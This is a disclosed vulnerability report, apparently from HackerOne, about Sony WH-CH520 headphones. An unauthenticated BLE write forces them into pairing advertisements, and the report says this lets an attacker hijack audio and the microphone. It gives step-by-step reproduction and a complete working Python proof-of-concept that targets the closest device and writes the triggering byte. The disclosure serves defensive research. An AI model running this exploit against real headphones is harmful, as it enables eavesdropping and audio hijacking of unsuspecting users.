Improper State Validation on Sony WH-CH520 via BLE Command Service leads to unauthorized Bluetooth pairing and audio hijacking

Disclosed: 2026-02-17 15:02:08 By vortekx To sony
Unknown
Vulnerability Details
## Summary: **Improper State Validation allows Unauthorized Bluetooth Pairing and Audio Hijacking for Sony headphones** I have discovered an Improper State Validation vulnerability in the Sony WH-CH520 firmware. The device allows an unauthenticated write to the proprietary Sony Command Service via Bluetooth Low Energy (BLE), which forces the device to become discoverable and accept a standard Bluetooth Security Manager Protocol (SMP) pairing request, even when the device is actively in use and not in "Pairing Mode." On Windows systems, this BLE pairing is automatically upgraded to a Classic Audio connection via Cross-Transport Key Derivation (CTKD), allowing an attacker to hijack the audio stream without physical interaction. ## Steps To Reproduce: **Prerequisites:** * **Target:** Sony WH-CH520 headset (Vulnerability verified). * *Note: Comparative testing was performed on the WH-1000XM4, which was unsuccessful and rejected the attack. (so probably not the same vulnerability as WhisperPair (CVE-2025-36911))* * **Victim:** A phone or computer with an existing connection to the headphones. * **Attacker:** A Windows 11 PC (with python 3.12 and `pip install bleak` to run attached script). **Attack Flow:** 1. Connect the Sony WH-CH520 to the victim's device and begin playing audio. Ensure the headphones are **not** in Pairing Mode (the LED should not be flashing blue). 2. On the attacker's machine, ensure Bluetooth is enabled and bring it within BLE range of the headphones. 3. Execute the attached Proof-of-Concept (PoC) script. * *The script targets the closest Sony device.* * *It connects to the GATT server and writes 0x01 to the Sony Command Characteristic (5b833c11)* 4. **Observation:** Windows will display a "New WH-CH520 found" notification (Microsoft Swift Pair)." * This confirms the device is able to solicit a new connect even when not put in pairing mode. See attached screenshot: * {F5238628} 5. Click "Connect" on the Windows notification. 6. **Technical Event (Why I think this works):** * Windows initiates a standard SMP Pairing Request. Because the script forced the device into an advertising state, the firmware accepts the bond. * Because the device supports Bluetooth 5.x, Windows automatically performs **Cross-Transport Key Derivation (CTKD)**. It uses the keys exchanged over the Low Energy (Data) link to generate the encryption keys for the Classic (Audio) link. 7. **Result:** * **Single-Point Mode:** The connection is stolen from the victim; audio stops playing on the victim device and switches to the attacker. * **Multipoint Mode:** The attacker is added as a second device without the owner's permission. * **Audio Access:** The attacker now has full Audio and Microphone access to the headset. No physical interaction with the headphones was required. ## Supporting Material/References: ### Proof of Concept Script (Python) This script demonstrates the core vulnerability. It identifies the target and injects the unauthenticated command that triggers the hijacking state. **How this script works:** 1. **Scanning:** It scans for Bluetooth Low Energy devices for 5 seconds. 2. **Targeting:** It filters devices broadcasting the Sony Proprietary Service (`0x5B83`) or Fast Pair headers. It automatically selects the device with the strongest signal (RSSI) to target the headphones closest to the attacker. 3. **Exploitation:** It connects to the Generic Attribute Profile (GATT) **without pairing**. 4. **Injection:** It writes the byte `0x01` to the proprietary characteristic `5b833c11-6bc7-4802-8e9a-723ceca4bd8f`. 5. **Result:** If successful, this write triggers the headphones to broadcast a Swift Pair advertisement, exposing the device as described above. ```python import asyncio from bleak import BleakScanner, BleakClient # --- CONFIGURATION --- # Sony Proprietary Service UUID SONY_SERVICE_UUID = "5b833e05-6bc7-4802-8e9a-723ceca4bd8f" # The Command Characteristic that accepts unauthenticated writes SONY_COMMAND_CHAR = "5b833c11-6bc7-4802-8e9a-723ceca4bd8f" async def exploit_sony_ble(): print("="*60) print("[*] Sony WH-CH520 Vulnerability PoC") print("[*] Mechanism: Unauthenticated Write -> Forced Swift Pair Trigger") print("="*60) print("[-] Scanning for closest vulnerable device...") # 1. SCANNING PHASE target = None devices = await BleakScanner.discover(timeout=5.0, return_adv=True) for d, adv in devices.values(): uuids = [str(u) for u in adv.service_uuids] if SONY_SERVICE_UUID in uuids or 'fe2c' in str(adv.service_data): # Select strongest signal if not target or adv.rssi > target[1].rssi: target = (d, adv) if not target: print("[X] Target not found. Ensure headphones are powered on.") return device, adv = target print(f"[+] TARGET ACQUIRED: {device.address}") print(f" RSSI: {adv.rssi} dBm") # 2. CONNECTION PHASE print(f"[-] Connecting to GATT (Unauthenticated)...") try: async with BleakClient(device.address) as client: print("[+] Connected successfully.") # 3. EXPLOITATION PHASE try: char = client.services.get_characteristic(SONY_COMMAND_CHAR) if not char: print("[-] Vulnerable characteristic not found.") return print(f"[i] Found Command Char: {SONY_COMMAND_CHAR}") print("[-] Attempting to inject payload (0x01)...") # Writing to this characteristic triggers the device to broadcast # a Microsoft Swift Pair notification to Windows. await client.write_gatt_char(char, bytes([0x01]), response=True) print("\n[!!!] CRITICAL: WRITE SUCCESSFUL [!!!]") print("1. Unauthenticated Access Confirmed.") print("2. Check Windows for the 'Microsoft Swift Pair' popup.") print("3. Accepting the popup will hijack the audio stream.") except Exception as e: print(f"[-] Write Failed: {e}") if "insufficient" in str(e).lower(): print(" [+] Device is SECURE (Authentication required).") else: print(" [-] Try restarting bluetooth and trying again.") except Exception as e: print(f"[X] Connection Error: {e}") if __name__ == "__main__": asyncio.run(exploit_sony_ble()) ```
Actions
View on HackerOne
Report Stats
  • Report ID: 3514490
  • State: Closed
  • Substate: resolved
  • Upvotes: 5
Share this report